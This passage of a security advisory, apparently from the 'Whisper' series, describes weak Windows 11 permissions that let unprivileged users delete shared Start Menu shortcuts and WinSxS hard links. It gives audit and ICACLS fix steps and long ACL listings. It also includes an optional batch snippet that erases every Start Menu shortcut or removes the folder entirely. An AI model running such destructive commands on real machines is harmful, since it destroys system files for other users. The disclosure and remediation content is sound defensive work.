                                                                                             S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                             S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Windows Defender Firewall with Advanced Security.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                               S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                               S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\desktop.ini WHISPER\Administrator:(I)(DE,DC)
                                                                 S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                 S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance WHISPER\Administrator:(I)(OI)(CI)(DE,DC)
                                                                 S-1-5-21-976053105-2763335980-2869100113-1001:(I)(OI)(CI)(DE,DC)
                                                                 S-1-5-21-976053105-2763335980-2869100113-1000:(I)(OI)(CI)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini WHISPER\Administrator:(I)(DE,DC)
                                                                             S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                             S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                        S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                        S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup WHISPER\Administrator:(I)(OI)(CI)(DE,DC)
                                                             S-1-5-21-976053105-2763335980-2869100113-1001:(I)(OI)(CI)(DE,DC)
                                                             S-1-5-21-976053105-2763335980-2869100113-1000:(I)(OI)(CI)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini WHISPER\Administrator:(I)(DE,DC)
                                                                         S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                         S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools WHISPER\Administrator:(I)(OI)(CI)(DE,DC)
                                                                  S-1-5-21-976053105-2763335980-2869100113-1001:(I)(OI)(CI)(DE,DC)
                                                                  S-1-5-21-976053105-2763335980-2869100113-1000:(I)(OI)(CI)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini WHISPER\Administrator:(I)(DE,DC)
                                                                              S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                              S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools\Task Manager.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                   S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                   S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)

OUCH²: on this (typical) installation of Windows 11 25H2 the vulnerability even got worse – now multiple unprivileged users are able to remove the shared Start Menu completely!

(Optional) Clobber the shared Start Menu:

IF DEFINED WHISPER (
ERASE /A:HS /F /Q /S "%ProgramData%\Microsoft\Windows\Start Menu\desktop.ini"
ERASE /F /Q /S "%ProgramData%\Microsoft\Windows\Start Menu\*.lnk"
) ELSE (
RMDIR /Q /S "%ProgramData%\Microsoft\Windows\Start Menu"
)

Attribution

Perform the following 3 simple steps to audit write accesses to the DACL of the Start Menu and retrieve the resulting events from the Security event log.

Create the text file whisper.cfg with the following content in an arbitrary, preferable empty directory:

; Copyright © 2009-2026, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>

[Version]
Signature = "$Windows NT$"

[Profile Description]
Description = Audit Start Menu DACL Changes

[File Security]
"%ProgramData%\Microsoft",0,"O:BAG:SYD:PAI(A;OICI;FA;;;SY)(A;OICI;FA;;;BA)(A;OICI;FR;;;BU)(A;OICI;FR;;;WD)S:PAI(AU;OICISA;WD;;;WD)"

[Event Audit]
AuditObjectAccess = 1

Note: since the directory %ProgramData%\Microsoft\Windows\Start Menu\ inherits the DACL from its grandparent the audit SACL is set there too.

Start the Command Processor Cmd.exe elevated in the directory where you created the security configuration editor script whisper.cfg, then execute the following command line to apply it:

SECEDIT.EXE /Configure /Areas FileStore SecurityPolicy /Cfg whisper.cfg /DB whisper.sdb /Log whisper.log /Verbose

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

Completed 10 percent (1/19)	Process File Security area
Completed 10 percent (1/19)	Process Security Policy area
Completed 26 percent (4/19)	Process Security Policy area
Completed 47 percent (8/19)	Process Security Policy area
Completed 63 percent (11/19)	Process Security Policy area
Completed 78 percent (14/19)	Process Security Policy area
Completed 100 percent (19/19)	Process Security Policy area

The task has completed successfully.
See log C:\Users\Stefan\Desktop\whisper.log for detail info.

Some time later query the Security event log for entries from source Microsoft-Windows-Security-Auditing with event code 4670:

WEVTUTIL.EXE Query-Events Security /Format:Text /Query:"Event[System[EventID=4670 and Provider[@Name='Microsoft-Windows-Security-Auditing']]]"

[…]

Caveat: apply the security configuration script as early as possible during Windows setup, for example via the batch script %SystemRoot%\Setup\Scripts\SetupComplete.cmd executed before the OOBE pass under the LocalSystem alias NT AUTHORITY\SYSTEM account.

Fix

Remove the dangerous inherit-only ACE (A;OICIIO;DTSD;;;S-1-5-21-‹digits›-‹digits›-‹digits›-1000) for the primary local user account and the superfluous ACE (A;OICIIO;DTSD;;;LA) for the local Administrator account!

Log on to the first user account created during Windows setup and start the Command Processor Cmd.exe elevated, then execute the following command lines:

ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu" /C /Q /Remove:g "%USERDOMAIN%\%USERNAME%" /Remove:g "%USERDOMAIN%\Administrator" /T
ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu\desktop.ini" /C /Q /Remove:g "%USERDOMAIN%\%USERNAME%" /Remove:g "%USERDOMAIN%\Administrator" /T
ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu\*.lnk" /C /Q /Remove:g "%USERDOMAIN%\%USERNAME%" /Remove:g "%USERDOMAIN%\Administrator" /T

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

Successfully processed 112 files; Failed processing 0 files
Successfully processed 11 files; Failed processing 0 files
Successfully processed 90 files; Failed processing 0 files

Whisper № 5

Since Windows Vista the directory %SystemRoot%\WinSxS\ is used as repository and staging store for almost all components of Windows NT.

To protect its integrity only the (virtual) service account NT SERVICE\TrustedInstaller with security identifier S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464 should have write and delete access there.

Thanks to braindead implementation of the Component Based Servicing introduced with Windows Vista, files from the repository are installed via reflection, i.e. as hard links instead of true copies – modifications of installed files, for example shortcuts in the shared Start Menu, therefore change the repository.

Demonstration

Perform the following simple step to show the vulnerability and optionally the destructive second step to exploit it!

Log on to one of the user accounts created during Windows setup and start the Command Processor Cmd.exe unelevated, then execute the following command line:

ICACLS.EXE "%SystemRoot%\WinSxS\*.lnk" /C /Q /T | FINDSTR.EXE /L "%SystemRoot% (DE,DC)"

Microsoft Windows [Version 10.0.26200.6584]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\WinSxS\amd64_eventviewersettings_31bf3856ad364e35_10.0.26100.1882_none_90964c57b3d34f63\Event Viewer.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                    S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                    S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_eventviewersettings_31bf3856ad364e35_10.0.26100.1_none_f1eb80676c3fbe87\Event Viewer.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                 S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                 S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_eventviewersettings_31bf3856ad364e35_10.0.26100.5074_none_90eba575b3937e62\Event Viewer.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                    S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                    S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-a..roblemstepsrecorder_31bf3856ad364e35_10.0.26100.4202_none_76c8e866faf07366\Steps Recorder.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                           S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                           S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-a..roblemstepsrecorder_31bf3856ad364e35_10.0.26100.5074_none_76e55e9afada1d4e\Steps Recorder.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                           S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                           S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-advancedtaskmanager_31bf3856ad364e35_10.0.26100.4202_none_4abe321a9b7601be\Task Manager.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                      S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                      S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-advancedtaskmanager_31bf3856ad364e35_10.0.26100.5074_none_4adaa84e9b5faba6\Task Manager.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                      S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                      S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-c..s-admin-compsvclink_31bf3856ad364e35_10.0.26100.1882_none_6e30c61a8a994728\Component Services.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                               S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                               S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-c..s-admin-compsvclink_31bf3856ad364e35_10.0.26100.1_none_cf85fa2a4305b64c\Component Services.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                            S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                            S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-c..s-admin-compsvclink_31bf3856ad364e35_10.0.26100.5074_none_6e861f388a597627\Component Services.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                               S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                               S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-c..termanagementsnapin_31bf3856ad364e35_10.0.26100.1882_none_e6b4947c26772596\Computer Management.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                                S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-c..termanagementsnapin_31bf3856ad364e35_10.0.26100.5074_none_e709ed9a26375495\Computer Management.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                                S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-charmap_31bf3856ad364e35_10.0.26100.4202_none_8e3114995451d760\Character Map.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                           S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                           S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-charmap_31bf3856ad364e35_10.0.26100.5074_none_8e4d8acd543b8148\Character Map.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                           S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                           S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-cleanmgr_31bf3856ad364e35_10.0.26100.4202_none_091b8d9c0d8281ab\Disk Cleanup.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                           S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                           S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-cleanmgr_31bf3856ad364e35_10.0.26100.5074_none_093803d00d6c2b93\Disk Cleanup.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                           S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                           S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-defrag-adminui_31bf3856ad364e35_10.0.26100.1_none_9609b71ef8d18dee\dfrgui.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                        S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                        S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-defrag-adminui_31bf3856ad364e35_10.0.26100.3323_none_34e47df340420efa\dfrgui.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                           S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                           S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-defrag-adminui_31bf3856ad364e35_10.0.26100.5074_none_3509dc2d40254dc9\dfrgui.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                           S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                           S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-iscsi_initiator_ui_31bf3856ad364e35_10.0.26100.1882_none_73899f020c320a85\iSCSI Initiator.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                        S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                        S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-iscsi_initiator_ui_31bf3856ad364e35_10.0.26100.5074_none_73def8200bf23984\iSCSI Initiator.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                        S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                        S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-m..-odbc-administrator_31bf3856ad364e35_10.0.26100.1_none_41438fbea643a6b2\ODBC Data Sources (64-bit).lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                                    S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                    S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-m..-odbc-administrator_31bf3856ad364e35_10.0.26100.3323_none_e01e5692edb427be\ODBC Data Sources (64-bit).lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                                       S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                       S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-m..-odbc-administrator_31bf3856ad364e35_10.0.26100.5074_none_e043b4cced97668d\ODBC Data Sources (64-bit).lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                                       S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                       S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-m..diagnostic-schedule_31bf3856ad364e35_10.0.26100.1882_none_2f75108d29d7afaa\Memory Diagnostics Tool.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                                    S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                    S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-m..diagnostic-schedule_31bf3856ad364e35_10.0.26100.1_none_90ca449ce2441ece\Memory Diagnostics Tool.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                                 S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                 S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-m..diagnostic-schedule_31bf3856ad364e35_10.0.26100.5074_none_2fca69ab2997dea9\Memory Diagnostics Tool.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                                    S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                    S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-mediaplayer-shortcut_31bf3856ad364e35_10.0.26100.1882_none_4a6fe694fdd588e7\Windows Media Player Legacy.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                                      S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                      S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-mediaplayer-shortcut_31bf3856ad364e35_10.0.26100.1_none_abc51aa4b641f80b\Windows Media Player Legacy.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                                   S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                   S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-mediaplayer-shortcut_31bf3856ad364e35_10.0.26100.5074_none_4ac53fb2fd95b7e6\Windows Media Player Legacy.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                                      S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                      S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-msconfig-exe_31bf3856ad364e35_10.0.26100.4202_none_765195be4db6c109\System Configuration.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                       S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                       S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-msconfig-exe_31bf3856ad364e35_10.0.26100.5074_none_766e0bf24da06af1\System Configuration.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                       S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                       S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-msinfo32-exe_31bf3856ad364e35_10.0.26100.4202_none_47b3be11a9a4f9b0\System Information.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                     S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                     S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-msinfo32-exe_31bf3856ad364e35_10.0.26100.5074_none_47d03445a98ea398\System Information.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                     S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                     S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-p..erandprintui-pmcppc_31bf3856ad364e35_10.0.26100.4202_none_a73f992730a85600\Print Management.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                             S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                             S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-p..erandprintui-pmcppc_31bf3856ad364e35_10.0.26100.5074_none_a75c0f5b3091ffe8\Print Management.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                             S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                             S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-performancetoolsgui_31bf3856ad364e35_10.0.26100.4202_none_37e1156650eaa088\Performance Monitor.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                             S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                             S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-performancetoolsgui_31bf3856ad364e35_10.0.26100.4202_none_37e1156650eaa088\Resource Monitor.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                          S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                          S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-performancetoolsgui_31bf3856ad364e35_10.0.26100.5074_none_37fd8b9a50d44a70\Performance Monitor.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                             S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                             S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-performancetoolsgui_31bf3856ad364e35_10.0.26100.5074_none_37fd8b9a50d44a70\Resource Monitor.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                          S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                          S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-recoverydrive_31bf3856ad364e35_10.0.26100.4343_none_c46322c03ba8c055\RecoveryDrive.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                 S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                 S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-recoverydrive_31bf3856ad364e35_10.0.26100.5074_none_c4867e803b8dcf4f\RecoveryDrive.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                 S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                 S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-registry-editor_31bf3856ad364e35_10.0.26100.4202_none_90060c9f8bcf570f\Registry Editor.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                     S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                     S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-registry-editor_31bf3856ad364e35_10.0.26100.5074_none_902282d38bb900f7\Registry Editor.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                     S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                     S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-s..ment-policytools-ex_31bf3856ad364e35_10.0.26100.1882_none_f4fdc9eef135ca34\Security Configuration Management.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                                              S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                              S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-s..ment-policytools-ex_31bf3856ad364e35_10.0.26100.1_none_5652fdfea9a23958\Security Configuration Management.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                                           S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                           S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-s..ment-policytools-ex_31bf3856ad364e35_10.0.26100.5074_none_f553230cf0f5f933\Security Configuration Management.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                                              S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                              S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-servicessnapin_31bf3856ad364e35_10.0.26100.1882_none_6b0256f4f5db1044\services.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                             S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                             S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-servicessnapin_31bf3856ad364e35_10.0.26100.1_none_cc578b04ae477f68\services.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                          S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                          S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-servicessnapin_31bf3856ad364e35_10.0.26100.5074_none_6b57b012f59b3f43\services.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                             S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                             S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-t..minalservicesclient_31bf3856ad364e35_10.0.26100.4202_none_e9b3a4cfd10e4076\Remote Desktop Connection.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                                      S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                      S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_microsoft-windows-t..minalservicesclient_31bf3856ad364e35_10.0.26100.5074_none_e9d01b03d0f7ea5e\Remote Desktop Connection.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                                      S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                      S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_networking-mpssvc-shortcut_31bf3856ad364e35_10.0.26100.1882_none_20f5695abce558a4\Windows Defender Firewall with Advanced Security.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                                               S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                               S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_networking-mpssvc-shortcut_31bf3856ad364e35_10.0.26100.1_none_824a9d6a7551c7c8\Windows Defender Firewall with Advanced Security.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                                            S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                            S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_networking-mpssvc-shortcut_31bf3856ad364e35_10.0.26100.5074_none_214ac278bca587a3\Windows Defender Firewall with Advanced Security.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                                                               S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                                                               S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_taskschedulersettings_31bf3856ad364e35_10.0.26100.1882_none_e689781ab47d0fe7\Task Scheduler.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                        S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                        S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_taskschedulersettings_31bf3856ad364e35_10.0.26100.1_none_47deac2a6ce97f0b\Task Scheduler.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                     S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                     S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\amd64_taskschedulersettings_31bf3856ad364e35_10.0.26100.5074_none_e6ded138b43d3ee6\Task Scheduler.lnk WHISPER\Administrator:(I)(DE,DC)
                                                                                                                        S-1-5-21-976053105-2763335980-2869100113-1001:(I)(DE,DC)
                                                                                                                        S-1-5-21-976053105-2763335980-2869100113-1000:(I)(DE,DC)
C:\Windows\WinSxS\wow64_microsoft-windows-m..-odbc-administrator_31bf3856ad364e35_10.0.26100.3624_none_ea527a59222d572d\ODBC Data Sources (32-bit).lnk WHISPER\Administrator:(I)(DE,DC)
